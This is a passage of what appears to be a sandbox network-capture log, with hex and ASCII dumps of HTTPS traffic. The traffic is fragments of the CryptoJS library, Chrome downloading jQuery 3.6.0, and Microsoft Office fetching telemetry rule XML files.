2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 35 5d 3d 65 5b 35 5d 2b 38 38 36 32 Data Ascii: ,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0?1:0)\|0,e[5]=e[5]+8862
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 33 5d 3d 49 5b 33 5d 2b 28 49 5b Data Ascii: t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]>>>16)\|0,t[3]=I[3]+(I[
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e Data Ascii: ngth):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:function(t){for(var e=t.
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d Data Ascii: ==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 2e 5f 68 61 73 68 2e 77 6f 72 64 73 2c 73 3d 74 5b 65 2b 30 5d 2c Data Ascii: 5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this._hash.words,s=t[e+0],
2024-10-07 19:53:08 UTC	1369	IN	Data Raw: 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b 35 30 5d 29 2c 62 3d 44 28 62 2c 78 2c 53 2c 6d 2c 66 2c 32 31 2c Data Ascii: ),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[50]),b=D(b,x,S,m,f,21,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49733	151.101.194.137	443	7544	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 19:53:08 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 07 Oct 2024 19:53:08 GMT Age: 2281759 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740062-EWR X-Cache: HIT, HIT X-Cache-Hits: 5889, 1 X-Timer: S1728330788.392959,VS0,VE1 Vary: Accept-Encoding
2024-10-07 19:53:08 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-10-07 19:53:08 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-10-07 19:53:08 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-10-07 19:53:08 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-10-07 19:53:08 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-10-07 19:53:08 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49735	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:08 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195308Z-1657d5bbd48vlsxxpe15ac3q7n0000000410000000000ywc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:08 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49738	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:08 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c62b5fc1-401e-0067-3a60-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195308Z-1657d5bbd48f7nlxc7n5fnfzh000000003ng0000000068wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:08 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49736	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:08 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195308Z-1657d5bbd48762wn1qw4s5sd3000000003r000000000wubw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 19:53:08 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49734	13.107.246.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 19:53:08 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 19:53:08 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 19:53:08 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T195308Z-1657d5bbd48t66tjar5xuq22r800000003u000000000yahz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
